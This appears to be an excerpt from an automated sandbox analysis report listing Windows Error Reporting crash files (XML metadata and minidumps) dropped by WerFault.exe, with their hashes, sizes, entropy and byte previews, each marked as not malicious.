Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.548669564458655
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9kwhWSC8By8fm8M4JTSFuY+q8D5UKUUvpd:uITfJfTSNxJxYlKUUvpd
MD5:	CAAA0807FF026C4CB1EE1B15C97A95AC
SHA1:	0FC1A89E9DEFB3928FCFAF4F82AC3CA8F240B247
SHA-256:	B0783F59078090DBB443F7BD5FDE6F9C866DD2CD8E0D93568B50C8D8ADA38132
SHA-512:	8DCBA7872D4040D994BD447DBF9C57F32147AF0CA7B340C2BFA0EA6D0ACBD540D1EE81B52B8F0E980E247998FD13034613701A5C11A7718D26E0B302847C6B5B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:19 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	105360
Entropy (8bit):	2.2223802296415367
Encrypted:	false
SSDEEP:	384:LAkI9C+LuJCD0ArU9160KBOL+IRGS6iH6SUgtkwBe6JFjspb9:MX9CjJAva16/YL+IwS6iHfpe6/4v
MD5:	9AA83EAC82A306F14E8881FF1EEEC687
SHA1:	ED396721488AB84621A472FBE8142EDF309E65D5
SHA-256:	A867DB47141E99998061AACC8FC44CBD36254D20CF7F8CC08CEBC111768C7C72
SHA-512:	F4CC30A05446379455056B4CA07FBD0B228E365467C5A8EE5A8E06E2434899C2C76C4D0CECF2908A55A1A7326416D586BF140CE1EB8659D9E7E2F4B552966EE7
Malicious:	false
Preview:	MDMP....... .......gC5`...................U...........B......."......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8446
Entropy (8bit):	3.6989715673479453
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFM6IoI6YJuSUkMjRgmfm8MSjCpBK89bh1sfirm:RrlsNie6IoI6YgSUkM1gmfmdSqhOfn
MD5:	039C0E3F29F97A28077FC30CBA939CB3
SHA1:	F463B43B3AEEEEDBE0FBBC904FD00B8B91BDFF70
SHA-256:	B8E9018DE4F7CCA5C0AA6F4D483BF5B31E4B865347515969AAE69F46766CBC08
SHA-512:	79F0E0F842A16C722A406294B9300A2E1B345BFCB76A04D49B35DCD797D44287DF716DA4080114F69E7EA7B1E6FBA22CA5CE143463B016EA4D0095E7D070D20E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.548998820806625
Encrypted:	false
SSDEEP:	48:cvIwSD8zseJgtWI9kwhWSC8B68fm8M4JTSFl+q8D5UKUUvpd:uITfUfTSNxJulKUUvpd
MD5:	3929A40D89D353CB80DF8B5B67930B0A
SHA1:	D67F5DAA08A0F4E1CF7B2E93EF4FA9CB81EA376E
SHA-256:	02EADDB5DB2BB6AFA475D48EE3BC7A6E81D74CF3692C0A3EC9E0038B730E9ECA
SHA-512:	6AA7794CDE56E6F618E330C01FFCA55A324FBDA197EB771FCE1CA4999A9B85E4B7AC747750DAAE151AD036AD7FEF71F3C72E079DD64B84216F664873BD16D8B3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.547204226967888
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9kwhWSC8B78fm8M4JTSFL+q8D5UKUUvpd:uITfJfTSNWJQlKUUvpd
MD5:	8AF6C9CAB21971B881AA2E161BAE68D4
SHA1:	E26478E1D3B425507C5F6C2264CCFA9546E42F01
SHA-256:	858F6A68DF87B7112749F99FF2710243242FB3D963E8A1DBF52FBC37AEBB9EEB
SHA-512:	BC3FAAF858916DF7073FBD62A8A434EA09C9A7BB7E372EE4E9D51FE64CD4A8A2043C10EEB06E609879DCDB47969F8AE65599CD461AEFEE3D08992FBCD6F3E1E5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERABEC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:35 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	153324
Entropy (8bit):	1.8665068783710104
Encrypted:	false
SSDEEP:	384:V5TXpTBQcDTGLgeuFTmJEuRj1h0KCj8+lRGypAv85GoGIxK+0WCJlbM:HfVCEeLEAj1h/a8+lwypAv80+0rJW
MD5:	C48096BB57B5886F0BCD869751E04109
SHA1:	90CBB0BD86A2C3D9474AC7A0612A1E881B962C8C
SHA-256:	136BDE8DE4E09024FAE3D000082140C5FDE2329ABC28D22B47C7BE4526D64252
SHA-512:	104A5A535CEF3A1CCAEB0E4E5DED1CE6945A4437F66065B28258C2A43F0150855F3DE32206AC99776CCDADA2C74532E6A34FA593AE75A1196A0AD0ED91295726
Malicious:	false
Preview:	MDMP....... .......wC5`...................U...........B.......$......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:30 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	67046
Entropy (8bit):	2.404722049978979
Encrypted:	false
SSDEEP:	384:s3ius6KozU9160KuOs+s1Ghs8plrly28KYbyo:s3ib6KoC16/Ls+sUhs8plxy2AV
MD5:	94073B84473F97D415CEFCF2A247522F
SHA1:	F603ABD43FED342F9BADF2C6C28F982EEF7E543A
SHA-256:	8D911827E538BCD0E6BD06BA855EA552036BA1DEF3A17402A826914EDF9EE392
SHA-512:	AEA4DC250CE4E00E9B136EA2DEC538C3F9818CA3F07EA3A8AB3712880B646A68180B875F6C38ACCDBBF799930D1636705F5DE280D0797DB46BEDBC471A2563C3
Malicious:	false
Preview:	MDMP....... .......6C5`...................U...........B..............GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB1F.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8460
Entropy (8bit):	3.7023717163118546
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFR6L6YJXSU2MOgmfm8MSjCpBA89bf1sfWVm:RrlsNiD6L6YJSU2MOgmfmdSkfOfl
MD5:	D1A507755FC8592E49304B4191F55552
SHA1:	F245D6D96EB290CEC3A2E8D9F0B16E7F3D227B7C
SHA-256:	10C03A6C4D221EECCF26DC48C5C545D0CE7E21E71B1D2D97952732388EF6A53E
SHA-512:	C2DB6692930C33FEC8695EBCAFBD3248C66295FFB4D84579FC2ACB3433054817E99485CE8D34D3302732AEEFF826A57C1621881DE227E7028F8E54D20E1E48CB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8436
Entropy (8bit):	3.7023440197868607
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiF06v26YJ3SUAMngmfm8MSjCpB189bh1sfwRrm:RrlsNi26+6YZSUAMngmfmdSrhOfwA
MD5:	261732AF413B4D38954890767807E150
SHA1:	173DE720E1FE08792B50DCE994681E1292C1D53A
SHA-256:	D730FE8826AF05AD786D383FD4CB43A06D8457EED5CB44CEE475D505C86DC838
SHA-512:	755C618880531A8244B188C3947DC251ECA824823706C65DA3FC176A17E0DDAF5E04E3BB0D2ED9B0E23880C302FA474AD0966113AAA84C4B2EAC4C82241F1E0B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.548051541633787
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9kwhWSC8Bz8fm8M4JTSF8+q8D5UKUUvpd:uITfJfTSNSJPlKUUvpd
MD5:	3085A12B3B11916D8F36EB09622DA4BA
SHA1:	702D5AF15ABB9F8060F06B1E46641689F4DCE28F
SHA-256:	99B488865595ABE651E0740B00A54048250A082265B1E6C65EE058F8F286A95B
SHA-512:	61CBB756ABE957A1178223E2524D039271C4440B916DF91D53A8C4FA6BB15907D4847D791985D9F6DF9E62AA5C6B7A5E26BA808D7A4F1D579B2523F4C5ED6ED4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC002.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.549014972048913
Encrypted:	false
SSDEEP:	48:cvIwSD8zseJgtWI9kwhWSC8Bv8fm8M4JTSFb+q8D5UKUUvpd:uITfUfTSNCJclKUUvpd
MD5:	54696D915827712EF85E2002267366DC
SHA1:	E174E09D2DDF59203088DE3251C982EDAA738453
SHA-256:	3C5D8322868C4F164B2DA6161E28395D339F25B51B78CEC58EE79091B970EFFC
SHA-512:	5F823FD9C997C8D62AB71D941A302219F39BCA0EDCD6EE4979DB64D722D70FB96484949D8FF96FCD4642F049DDEB79DD0CC4AB343A6FF0BA626A81900A78F5CA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:37 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	80560
Entropy (8bit):	2.2606963191474283
Encrypted:	false
SSDEEP:	384:FsONSwzU9160KuOs+s1G1npMRDtuRhxJNwiWxh:eOAwC16/Ls+sU1npMRJutJBw
MD5:	0D42C3A646B4A780B45DE8BC5AE061B7
SHA1:	7351F18AD68166FD3995EEC0A316DBCFB1A97F88
SHA-256:	62D89F35ED2B05BB29D1543F7EEE9E9459315FF55C14BEF52AA0ED005D461CAC
SHA-512:	25627173860A7EB04F88EED45B4AB84BE582C7756A48BDFBABFA599C377E5CA912AC3BEDD4BDB3CB55FAF78F2D7862BF6BF9D6409AEE064C5D2E6D526485789F
Malicious:	false
Preview:	MDMP....... .......=C5`...................U...........B......(.......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8438
Entropy (8bit):	3.701419617442047
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiF/6i6YJsSUAMnDgmfm8MSjCpBK89b31sfOvdm:RrlsNit6i6YCSUAMDgmfmdSq3OfOI
MD5:	2F7803C6417803C4BA944ABC7F97671A
SHA1:	F3EF98D29451AAF599BBAF1C659BC250C1342028
SHA-256:	D1B2C488816A78F574E4F516272489B07443C9A2166120125038C9FA48BB7E83
SHA-512:	87589E6F474F84AFBF24BBC42EBFF9F2B42855B9FD26D741A567A08A18237E5FB1C04AEC94CE386EE5C17953F738FBC7210D1BB804460A4321D3F13FED509A8A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.549980198729761
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9kwhWSC8Bb/8fm8M4JTSF1Y++q8D5UKUUvpd:uITfJfTSNFkJz+lKUUvpd
MD5:	87D6301923AA7EEC355DA027BEF4B2A1
SHA1:	ED353E889D546A03472434A4BEF062DF00E1DCEE
SHA-256:	F350CA9684972EEC2F48EE0A95FDA909A6E336C2F50894DDE74F261423EF03D8
SHA-512:	AFDD39A3561DC40CB6437A2A8D63CE1498C1EC2A88E4A3F3E7BE9DD84B131FBD2A251E770ED53F31DCB7898679D960F51CB441B181C0C6628D66EB4B3CBA7977
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERED88.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:51 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	161490
Entropy (8bit):	1.9132352850977163
Encrypted:	false
SSDEEP:	384:y59ZQ0vFQqDTLvmWQRmcgM1h0K6j8+lRGVsegewUT3aKf7IgS3r0C2tcVZs5:a9XvHXQ5gM1h/i8+lwVsePwUmMS3xu
MD5:	BB1DB5747CCA2DAA7CF8928425CA19F9
SHA1:	F95F98D09B21B7B1E52A2F181EFBBCD0298FC73C
SHA-256:	6ECB3E89A85F3222E08B30D88577AA249D328D9EBEDFA401BF6450B089EB0F68
SHA-512:	D674AE8DE1C083A1C88997F73DD03AC9956BCE823D96D08120FE57C289DF8775B36D902B215DCE33FF6637E6DBFCDB1C9955A6881C299072B3FEBF310A734DF9
Malicious:	false
